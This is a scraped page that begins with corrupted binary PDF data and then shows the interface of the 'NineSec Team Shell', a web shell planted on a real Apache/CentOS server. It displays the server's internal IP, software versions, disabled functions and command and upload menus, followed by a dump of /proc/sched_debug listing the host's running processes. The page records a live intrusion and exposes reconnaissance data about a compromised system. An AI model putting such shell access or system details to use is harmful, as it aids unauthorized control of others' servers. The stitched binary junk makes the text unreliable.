%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.70.126.99
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0555) :  /proc/16354/root/proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //proc/16354/root/proc/sched_debug
Sched Debug Version: v0.11, 3.10.0-1160.95.1.el7.x86_64 #1
ktime                                   : 22923602515.914614
sched_clk                               : 22923513312.820605
cpu_clk                                 : 22923602515.938455
jiffies                                 : 27218269812
sched_clock_stable()                    : 0

sysctl_sched
  .sysctl_sched_latency                    : 6.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 40571
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2600.080 MHz
  .nr_running                    : 3
  .load                          : 3072
  .nr_switches                   : 3982404837
  .nr_load_updates               : 5360636018
  .nr_uninterruptible            : 0
  .next_balance                  : 4294.667296
  .curr->pid                     : 17416
  .clock                         : 22923602526.067160
  .cpu_load[0]                   : 3072
  .cpu_load[1]                   : 2528
  .cpu_load[2]                   : 2222
  .cpu_load[3]                   : 2098
  .cpu_load[4]                   : 2064
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 3136409230.278998
  .min_vruntime                  : 3136409233.278998
  .max_vruntime                  : 3136409230.278998
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 3
  .load                          : 3072
  .runnable_load_avg             : 1413
  .blocked_load_avg              : 125
  .tg_load_avg                   : 0
  .tg_load_contrib               : 0
  .tg_runnable_contrib           : 0
  .tg->runnable_avg              : 0
  .throttled                     : 0
  .throttle_count                : 0
  .avg->runnable_avg_sum         : 33558
  .avg->runnable_avg_period      : 46150

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

runnable tasks:
            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
----------------------------------------------------------------------------------------------------------
         systemd     1 3136409168.636266   9708507   120         0.000000  20330279.979747         0.000000 0 /
        kthreadd     2 3136405066.671461     93833   120         0.000000     55247.166614         0.000000 0 /
    kworker/0:0H     4     11179.998457         7   100         0.000000         0.959163         0.000000 0 /
     ksoftirqd/0     6 3136409083.689216   7859218   120         0.000000   1537573.272018         0.000000 0 /
     migration/0     7         0.006383       101     0         0.000000        10.779026         0.000000 0 /
          rcu_bh     8        36.699306         2   120         0.000000         0.173663         0.000000 0 /
       rcu_sched     9 3136409230.278998 473001311   120         0.000000  35859981.572534         0.000000 0 /
   lru-add-drain    10        45.834245         2   100         0.000000         0.792648         0.000000 0 /
      watchdog/0    11         2.246668   5730903     0         0.000000   1519254.653197         0.000000 0 /
       kdevtmpfs    13     91093.304866       145   120         0.000000        33.332808         0.000000 0 /
           netns    14        98.950903         2   100         0.000000         0.039801         0.000000 0 /
      khungtaskd    15 3136387034.114002    191030   120         0.000000     48937.286469         0.000000 0 /
       writeback    16 3066572111.521501       326   100         0.000000      1020.200607         0.000000 0 /
     kintegrityd    17       164.734459         2   100         0.000000         0.027367         0.000000 0 /
          bioset    18       166.247667         2   100         0.000000         0.030115         0.000000 0 /
          bioset    19       168.257161         2   100         0.000000         0.030407         0.000000 0 /
          bioset    20       170.266980         2   100         0.000000         0.030234         0.000000 0 /
         kblockd    21       172.279284         2   100         0.000000         0.040768         0.000000 0 /
              md    22       464.987227         2   100         0.000000         0.036982         0.000000 0 /
     edac-poller    23       466.498149         2   100         0.000000         0.035441         0.000000 0 /
       watchdogd    24       483.882501         2   100         0.000000         0.035050         0.000000 0 /
         kswapd0    27 2265072188.076023      1701   120         0.000000     16823.474155         0.000000 0 /
            ksmd    28      3045.379710         2   125         0.000000         0.419629         0.000000 0 /
      khugepaged    29 3136408809.960470   1324265   139         0.000000    467268.085835         0.000000 0 /
          crypto    30      3087.634387         2   100         0.000000         0.053849         0.000000 0 /
        kthrotld    38      3110.547954         2   100         0.000000         0.038385         0.000000 0 /
    kmpath_rdacd    40      3144.734067         2   100         0.000000         0.027367         0.000000 0 /
          kaluad    41      3146.248368         2   100         0.000000         0.031698         0.000000 0 /
       kpsmoused    42      3489.353293         2   100         0.000000         0.065017         0.000000 0 /
   ipv6_addrconf    44 2396280796.658397        14   100         0.000000         7.396589         0.000000 0 /
         deferwq    58     10059.870641         3   100         0.000000         0.526465         0.000000 0 /
         kauditd    94 3136315972.412250     91017   120         0.000000     34662.553276         0.000000 0 /
         ata_sff   265 3135829943.316918     15856   100         0.000000      7596.107010         0.000000 0 /
       scsi_eh_0   277     10102.830728         4   120         0.000000         7.877805         0.000000 0 /
      scsi_tmf_0   278     10059.133876         2   100         0.000000         0.077855         0.000000 0 /
       scsi_eh_1   279     23222.361177        44   120         0.000000        14.343241         0.000000 0 /
      scsi_tmf_1   280     10062.894366         2   100         0.000000         0.055958         0.000000 0 /
        ttm_swap   283     10397.664358         2   100         0.000000         0.066416         0.000000 0 /
   virtscsi-scan   290     10873.946954         2   100         0.000000         0.087109         0.000000 0 /
       scsi_eh_2   291     10877.055920         2   120         0.000000         0.049004         0.000000 0 /
      scsi_tmf_2   292     10877.926699         2   100         0.000000         0.058780         0.000000 0 /
    kworker/0:1H   298 3136409094.175969   7004661   100         0.000000   1064270.239255         0.000000 0 /
        kdmflush   363 3093810802.300959        10   100         0.000000         6.156191         0.000000 0 /
          bioset   364     13813.673371         2   100         0.000000         0.062074         0.000000 0 /
        kdmflush   374     14580.733824         2   100         0.000000         0.080091         0.000000 0 /
          bioset   375     14580.910520         2   100         0.000000         0.350157         0.000000 0 /
          bioset   389     16013.613204         2   100         0.000000         0.066023         0.000000 0 /
        xfsalloc   390     16020.847884         2   100         0.000000         0.067160         0.000000 0 /
   xfs_mru_cache   391     16022.363490         2   100         0.000000         0.060176         0.000000 0 /
    xfs-buf/dm-0   392 3037211207.507039        21   100         0.000000         2.409531         0.000000 0 /
   xfs-data/dm-0   393 2888115619.226507        62   100         0.000000        25.918406         0.000000 0 /
   xfs-conv/dm-0   394     16034.244021         2   100         0.000000         0.030875         0.000000 0 /
    xfs-cil/dm-0   395 3136328456.207855     28366   100         0.000000     19174.927582         0.000000 0 /
 xfs-reclaim/dm-   396 3064340250.902159        41   100         0.000000        19.280012         0.000000 0 /
    xfs-log/dm-0   397     16040.311647         2   100         0.000000         0.101173         0.000000 0 /
 xfs-eofblocks/d   398 1742709627.108083         5   100         0.000000         2.772432         0.000000 0 /
    xfsaild/dm-0   399 3136409230.278998 399211449   120         0.000000  32257439.453940         0.000000 0 /
 systemd-journal   479 3136379794.066303    368997   120         0.000000   1111642.023042         0.000000 0 /
         lvmetad   499     54246.210849       109   120         0.000000       115.374905         0.000000 0 /
   systemd-udevd   506 2069329203.301260      1656   120         0.000000      2034.725660         0.000000 0 /
 kvm-irqfd-clean   556     23462.639293         2   100         0.000000         0.087501         0.000000 0 /
    xfs-buf/sda1   557     23484.446397         2   100         0.000000         0.104997         0.000000 0 /
   xfs-data/sda1   558     23485.240028         2   100         0.000000         0.085981         0.000000 0 /
   xfs-conv/sda1   559     23485.998314         2   100         0.000000         0.063834         0.000000 0 /
    xfs-cil/sda1   560 2058349195.831988         4   100         0.000000         1.313776         0.000000 0 /
 xfs-reclaim/sda   561     23487.541418         2   100         0.000000         0.050109         0.000000 0 /
    xfs-log/sda1   562     23488.317944         2   100         0.000000         0.052649         0.000000 0 /
 xfs-eofblocks/s   563     23489.099509         2   100         0.000000         0.060242         0.000000 0 /
    xfsaild/sda1   564 3132438519.870406      5268   120         0.000000       405.596311         0.000000 0 /
          auditd   585 3136406778.205175    472104   116         0.000000    249745.285909         0.000000 0 /
          auditd   586 3136315215.962709     12175   116         0.000000     10038.955454         0.000000 0 /
         polkitd   604 3136316009.672385    100789   120         0.000000    205044.944861         0.000000 0 /
           gmain   619     26820.132825         6   120         0.000000         8.818404         0.000000 0 /
           gdbus   624 3136316008.464837    119151   120         0.000000    380056.998408         0.000000 0 /
         polkitd   627     27047.202353         3   120         0.000000         2.111092         0.000000 0 /
    JS GC Helper   628     27078.600479         4   120         0.000000         3.646440         0.000000 0 /
 JS Sour~ Thread   629     27312.795927         6   120         0.000000         3.856631         0.000000 0 /
         polkitd   638     32166.006015         7   120         0.000000        44.860644         0.000000 0 /
  systemd-logind   607 3136408505.320007   2520018   120         0.000000   3166477.761130         0.000000 0 /
     dbus-daemon   610 3136408507.108721   2664357   120         0.000000   7654510.447591         0.000000 0 /
           crond   630 3136406701.600038    395881   120         0.000000    532413.389289         0.000000 0 /
           login   644 1432479321.304127       247   120         0.000000      2415.884841         0.000000 0 /
  NetworkManager   657 3136409178.977570  49308265   120         0.000000  42195883.646114         0.000000 0 /
           gmain   658 3136409094.659271   5731796   120         0.000000   2254674.865240         0.000000 0 /
           gdbus   660 3136316010.836053     40013   120         0.000000    271974.503176         0.000000 0 /
           tuned   862 3136117643.501389     10929   120         0.000000     12791.342853         0.000000 0 /
           gmain  1205     51828.326037         6   120         0.000000         5.057658         0.000000 0 /
           tuned  1207 3136409178.987075  22879692   120         0.000000  20444696.691357         0.000000 0 /
           tuned  1223     52264.431821         8   120         0.000000         6.229698         0.000000 0 /
           tuned  1234     52501.722709         4   120         0.000000        42.233303         0.000000 0 /
            sshd   863 3135968254.193047     24821   120         0.000000    125171.317180         0.000000 0 /
        rsyslogd   868 3136332881.366192     39096   120         0.000000     33724.625680         0.000000 0 /
    in:imjournal   888 3136409178.361367  25480808   120         0.000000   8184563.332572         0.000000 0 /
   rs:main Q:Reg   893 3136315946.489109     71314   120         0.000000    129439.842718         0.000000 0 /
     mysqld_safe   968     54376.137316       442   120         0.000000       443.020595         0.000000 0 /
        ds_agent  1099     50015.960058        46   120         0.000000        44.723319         0.000000 0 /
        ds_agent  1104 3136407864.699720   1245805   120         0.000000    240103.584104         0.000000 0 /
   CScriptThread  1105    112726.462323      5524   120         0.000000     27239.120463         0.000000 0 /
   dsa.threadMgr  1690 3136409168.724870  20299489   120         0.000000  95883897.256995         0.000000 0 /
   dsa.Scheduler  1691 3136409170.208530  30671954   120         0.000000 129838968.156966         0.000000 0 /
 dsa.ListenThrea  1692 3133441780.430230      1015   120         0.000000      4477.799040         0.000000 0 /
 dsp.hub.service  1693 3136409179.705488  45755218   120         0.000000  62081220.988325         0.000000 0 /
   dsa.NotifySvc  1694 3136408739.391719   1544760   120         0.000000   1585440.497999         0.000000 0 /
 dsa.ManageIPTab  1695 525054449.047207       380   120         0.000000      1438.609049         0.000000 0 /
  dsp.im.service  1696 3136408739.056832   1547070   120         0.000000   1952322.020911         0.000000 0 /
  dsp.am.service  1697 3136408868.484856   4631324   120         0.000000   4391110.365777         0.000000 0 /
  dsp.ac.service  1698 3136408868.245851   4626488   120         0.000000   3837198.854397         0.000000 0 /
 dsp.sensor.serv  1699 3136409173.857879  23249155   120         0.000000 145648729.966700         0.000000 0 /
 dsp.nuagent.ser  1702 3136409178.496949  22985027   120         0.000000  12236330.006588         0.000000 0 /
 dsp.fwdpi.servi  1703 3136408825.667962    401773   120         0.000000     93690.467325         0.000000 0 /
 dsp.fwdpi.sslDp  1704 3136408870.243263   4785375   120         0.000000  15948824.704858         0.000000 0 /
      dsa.fasthb  1706 3136405179.109566    773999   120         0.000000    668275.743735         0.000000 0 /
  dsa.MetricsSvc  1707 525055200.205850      1635   120         0.000000     14883.420609         0.000000 0 /
 dsa.IoTForwarde  1708 525051150.308240       292   120         0.000000      1235.061007         0.000000 0 /
    ProcMonLinux  1709 3136409178.033209  51445061   120         0.000000  59607279.779110         0.000000 0 /
  CSSLCertThread  1712    105120.748475         4   120         0.000000         9.975248         0.000000 0 /
 wrs.worker_0005  1731 3136408868.058536   4632916   120         0.000000   3703480.986035         0.000000 0 /
 wrs.worker_0006  1734 3136408867.655972   4631534   120         0.000000   3773170.895734         0.000000 0 /
 dsa.Scheduler_0  1739 3136408867.787703   4613667   120         0.000000   2029470.641672         0.000000 0 /
 dsa.Scheduler_0 27633 3136409155.979792   3851916   120         0.000000  41046856.330960         0.000000 0 /
 dsa.Scheduler_0 13070 3136409178.397825   2837369   120         0.000000  30442481.102087         0.000000 0 /
 dsa.Scheduler_0  3199 3136408327.164102    671367   120         0.000000   7119088.779636         0.000000 0 /
 dsa.Scheduler_0 19901 3136408326.983801    308482   120         0.000000   3352963.936976         0.000000 0 /
 dsa.Scheduler_0 19910 3136408101.138339    307995   120         0.000000   3293948.388114         0.000000 0 /
          mysqld  1335 3135966008.093317     40755   120         0.000000    170460.799135         0.000000 0 /
          mysqld  1360 3136409178.028742  45638824   120         0.000000   3297910.332189         0.000000 0 /
          mysqld  1361 3136409178.220343  45647397   120         0.000000   3740247.930487         0.000000 0 /
          mysqld  1362 3136409177.994173  45639539   120         0.000000   3918245.155738         0.000000 0 /
          mysqld  1363 3136409177.998896  45639749   120         0.000000   3997738.323799         0.000000 0 /
          mysqld  1364 3136409178.109639  45639637   120         0.000000   3954838.000977         0.000000 0 /
          mysqld  1365 3136409178.007054  45639736   120         0.000000   3948093.761238         0.000000 0 /
          mysqld  1366 3136409177.998175  45641683   120         0.000000   4110189.900076         0.000000 0 /
          mysqld  1367 3136409178.021518  45640022   120         0.000000   4334685.066393         0.000000 0 /
          mysqld  1368 3136409178.000743  45640298   120         0.000000   4326326.906581         0.000000 0 /
          mysqld  1369 3136409178.276210  45639889   120         0.000000   4251430.580591         0.000000 0 /
          mysqld  1400 3136409167.554375  22864308   120         0.000000   7840565.324699         0.000000 0 /
          mysqld  1401 3136409178.572606  22864383   120         0.000000  12502023.569763         0.000000 0 /
          mysqld  1402 3136408867.926560   4583858   120         0.000000   1005020.652098         0.000000 0 /
          mysqld  1403 3136409178.130067   4583735   120         0.000000    894836.951116         0.000000 0 /
          mysqld  1404 3135967114.056515    287018   120         0.000000    169031.407022         0.000000 0 /
          mysqld  1405 2267499038.816050      9792   120         0.000000      2516.935334         0.000000 0 /
          mysqld  1419 3136405230.277651    764227   120         0.000000    228546.912035         0.000000 0 /
          mysqld  1426     55718.688941         1   120         0.000000         5.154682         0.000000 0 /
          master  1463 3136405231.861323    923486   120         0.000000    945386.297482         0.000000 0 /
            qmgr  1465 3136353022.351690    147717   120         0.000000    512108.050345         0.000000 0 /
      ds_nuagent  1767    128688.682385       198   120         0.000000       968.460979         0.000000 0 /
      ds_nuagent  1768 3136408936.781485  14520857   120         0.000000   2776506.402606         0.000000 0 /
      ds_nuagent  1769 3116671936.139034   2407044   120         0.000000    867529.516269         0.000000 0 /
      ds_nuagent  1770    127951.980881         1   120         0.000000         0.576144         0.000000 0 /
      ds_nuagent  1771    128674.089474        52   120         0.000000         8.367332         0.000000 0 /
      ds_nuagent  1773 3136408936.545876   1014410   120         0.000000    368099.340773         0.000000 0 /
      ds_nuagent 17230 3116671935.575794   3888363   120         0.000000   1419767.189693         0.000000 0 /
      ds_nuagent  1772 3132538867.355165      1844   120         0.000000      1559.271268         0.000000 0 /
      ds_nuagent  1774 3136409178.330767 131511565   120         0.000000  18500915.782549         0.000000 0 /
      ds_nuagent  1775    129437.564505        57   120         0.000000        12.395746         0.000000 0 /
      ds_nuagent  1776    128778.897335         1   120         0.000000         0.508460         0.000000 0 /
      ds_nuagent  1777 2267181984.366366   2151249   120         0.000000   2962960.549396         0.000000 0 /
      ds_nuagent  1779 2127766343.074077    382004   120         0.000000    521825.351699         0.000000 0 /
      ds_nuagent  1780 3136407972.372437   5240425   120         0.000000   7208646.464044         0.000000 0 /
      ds_nuagent  1994 3136132156.917275  10338481   120         0.000000  14192876.941787         0.000000 0 /
      ds_nuagent  1995 3136408584.673733   7731720   120         0.000000  10581397.024120         0.000000 0 /
      ds_nuagent  1996 3124828229.344972     13436   120         0.000000     22054.617890         0.000000 0 /
      ds_nuagent  1997    171393.950702         1   120         0.000000         0.921241         0.000000 0 /
      ds_nuagent  1998 2058359445.035423   6141376   120         0.000000   8357866.826345         0.000000 0 /
      ds_nuagent  2230 3136409178.562916  10780868   120         0.000000  14720133.080898         0.000000 0 /
      ds_nuagent  2233 3136409178.499110  11127586   120         0.000000  15117339.261663         0.000000 0 /
      ds_nuagent  3753 3136409167.517191  10774118   120         0.000000  14710662.875508         0.000000 0 /
      ds_nuagent 30554 3079881237.672689   7935157   120         0.000000  10835672.729704         0.000000 0 /
           ds_am  1792 2058425795.275358        39   120         0.000000       102.553594         0.000000 0 /
             zsh   942 1432482527.071107       132   120         0.000000       968.540211         0.000000 0 /
            sudo   956 1432483438.676284       151   120         0.000000       474.749189         0.000000 0 /
              su   957 1432483883.187828        97   120         0.000000       315.363006         0.000000 0 /
             zsh   960 1432491964.802127       158   120         0.000000       816.385604         0.000000 0 /
              su  1005 1432492301.935552        99   120         0.000000       318.178128         0.000000 0 /
            bash  1006 1432498190.104769        84   120         0.000000       375.226903         0.000000 0 /
              su  1056 1432499545.001904       132   120         0.000000       702.661203         0.000000 0 /
             zsh  1059 1432505982.142489       170   120         0.000000       873.768849         0.000000 0 /
              su  1122 1432506341.134783        98   120         0.000000       348.768148         0.000000 0 /
            bash  1123 1432508511.042336        54   120         0.000000       320.992022         0.000000 0 /
            sudo  1152 1432509724.876639       192   120         0.000000       947.266932         0.000000 0 /
              su  1156 1432510028.952063        99   120         0.000000       313.620122         0.000000 0 /
             zsh  1157 1818619245.671007       236   120         0.000000      1117.895886         0.000000 0 /
           ds_am  7584 3136408452.550070    833306   120         0.000000   3452887.394486         0.000000 0 /
           ds_am  7765 3136409147.355990   8000460   120         0.000000   2397407.306036         0.000000 0 /
      pool-ds_am  7788 2924031975.488145        89   120         0.000000       563.597850         0.000000 0 /
      pool-ds_am  7803 2058429425.795538         1   120         0.000000         0.302725         0.000000 0 /
           ds_am  7804 3136409167.391830   7959383   120         0.000000   1115195.639508         0.000000 0 /
      pool-ds_am  7805 2058429464.750065         1   120         0.000000         0.446340         0.000000 0 /
           ds_am  7974 3136409178.026194   7979579   120         0.000000   1384108.693257         0.000000 0 /
           ds_am  8021 2058435766.490153         1   120         0.000000         0.697970         0.000000 0 /
           ds_am  8025 2058436081.813947         1   120         0.000000         0.411930         0.000000 0 /
           ds_am  8027 2058436134.663466         1   120         0.000000         0.317874         0.000000 0 /
           ds_am  8028 2058436134.632485         1   120         0.000000         0.286900         0.000000 0 /
           ds_am  8029 2058436134.771839         1   120         0.000000         0.426247         0.000000 0 /
           ds_am  8030 2058436134.489776         1   120         0.000000         0.144184         0.000000 0 /
           ds_am  8031 2058436138.449388         1   120         0.000000         4.103810         0.000000 0 /
           ds_am  8042 3136351185.374367     17630   120         0.000000     39489.223483         0.000000 0 /
           ds_am  8122 3136320991.494710    301491   120         0.000000   4235737.808306         0.000000 0 /
           ds_am  8123 3133837751.067451      4449   120         0.000000     43079.789528         0.000000 0 /
           ds_am  8124 3136321195.085902     10985   120         0.000000    106796.349295         0.000000 0 /
           ds_am  8125 2059244420.355516      1787   120         0.000000     16247.947893         0.000000 0 /
           ds_am  8126 3133188137.391346      3013   120         0.000000     28291.979596         0.000000 0 /
           ds_am  8127 3136351188.670182     10380   120         0.000000     45944.644562         0.000000 0 /
           ds_am  8128 3135764803.955334      3846   120         0.000000     37615.216379         0.000000 0 /
           ds_am  8129 2058441739.994306         1   120         0.000000         3.087986         0.000000 0 /
           ds_am  8147 3136407407.380375    133322   120         0.000000     33789.171613         0.000000 0 /
           ds_am  8152 2058442092.056725         1   120         0.000000         0.249040         0.000000 0 /
           ds_am  8156 3136409178.084839  44510905   120         0.000000  18235469.193756         0.000000 0 /
           ds_am  8157 3136343470.288235     13319   120         0.000000     10643.748605         0.000000 0 /
           ds_am  8159 3136384305.406953     26884   120         0.000000     61349.789512         0.000000 0 /
           ds_am  8160 3136402078.668608  11468638   120         0.000000 206008043.850361         0.000000 0 /
           ds_am  8327 3136409178.302303  12357977   120         0.000000  78407966.843074         0.000000 0 /
    pool-spawner  8328 2058450189.517339         1   120         0.000000         2.894155         0.000000 0 /
      pool-ds_am  8329 3136409196.837892  52917605   120         0.000000  13002764.115588         0.000000 0 /
           ds_am  8556 2058459372.332123         4   120         0.000000         4.410200         0.000000 0 /
      pool-ds_am  8557 3136409178.107408  15886932   120         0.000000   3399256.365508         0.000000 0 /
      pool-ds_am 14236 3136407691.776065      2213   120         0.000000      9497.195556         0.000000 0 /
      pool-ds_am 14395 3136408052.316850      2226   120         0.000000      9393.406452         0.000000 0 /
      pool-ds_am 14398 3136408098.592545      2196   120         0.000000      9407.879584         0.000000 0 /
      pool-ds_am 14403 3136408526.615662      2183   120         0.000000      9525.272481         0.000000 0 /
      pool-ds_am 14404 3136408574.235452      2234   120         0.000000     10086.416209         0.000000 0 /
      pool-ds_am 14406 3136409008.701624      2171   120         0.000000      9175.704136         0.000000 0 /
      pool-ds_am 14416 3136403692.969035       245   120         0.000000       131.643224         0.000000 0 /
      pool-ds_am 14418 3136342375.332582       241   120         0.000000        90.528736         0.000000 0 /
      pool-ds_am 14422 3136404195.128578       245   120         0.000000        92.421295         0.000000 0 /
      pool-ds_am 14423 3136378364.610396       240   120         0.000000        85.421455         0.000000 0 /
      pool-ds_am 14424 3136377175.010198       241   120         0.000000        85.901835         0.000000 0 /
      pool-ds_am 14435 3136407689.933989      2215   120         0.000000      9651.017411         0.000000 0 /
      pool-ds_am 14437 3136409056.479807      2177   120         0.000000      9255.060473         0.000000 0 /
      pool-ds_am 14449 3136406198.358607       238   120         0.000000        85.747498         0.000000 0 /
      pool-ds_am 14454 3136376617.458358       241   120         0.000000       131.193913         0.000000 0 /
      pool-ds_am 14455 3136354110.631965       240   120         0.000000        81.556068         0.000000 0 /
           httpd 17289 3136409178.154516   7963828   120         0.000000   3364810.217567         0.000000 0 /
          script 16354 2070103212.326752      3298   120         0.000000      2747.995317         0.000000 0 /
            bash 16355 2070103213.528837       504   120         0.000000      1378.423507         0.000000 0 /
    kworker/u2:2 16403 3136408987.476912     28854   120         0.000000     18519.466063         0.000000 0 /
    kworker/u2:1  6131 3117022599.315127     55306   120         0.000000     32295.620419         0.000000 0 /
          pickup 13154 3136405231.360278       142   120         0.000000       405.353738         0.000000 0 /
           httpd 15193 3136360657.853812      2128   120         0.000000     19473.827983         0.000000 0 /
           httpd 15984 3136382387.949733      2296   120         0.000000     21208.286344         0.000000 0 /
           httpd 16863 3136360611.515652      1407   120         0.000000     12977.483210         0.000000 0 /
           httpd 17104 3136408947.167466      1454   120         0.000000     13769.668255         0.000000 0 /
R          httpd 17416 3136409242.229013      1632   120         0.000000     15471.147670         0.000000 0 /
           httpd 18308 3136340463.823627       719   120         0.000000      6672.169105         0.000000 0 /
           httpd 19394 3136360356.167981       287   120         0.000000      2591.560642         0.000000 0 /
           httpd 19576 3136360656.440269       221   120         0.000000      2042.128847         0.000000 0 /
           httpd 19703 3136358260.141243       511   120         0.000000      4883.349267         0.000000 0 /
     kworker/0:0 19708 3136405076.476145       256   120         0.000000        90.713222         0.000000 0 /
           httpd 19862 3136360354.494355        74   120         0.000000       628.977397         0.000000 0 /
     kworker/0:2 19956 3136409178.367149      1065   120         0.000000       246.503320         0.000000 0 /
     kworker/0:1 20364 3136409178.871481       117   120         0.000000        23.936018         0.000000 0 /


NineSec Team - 2022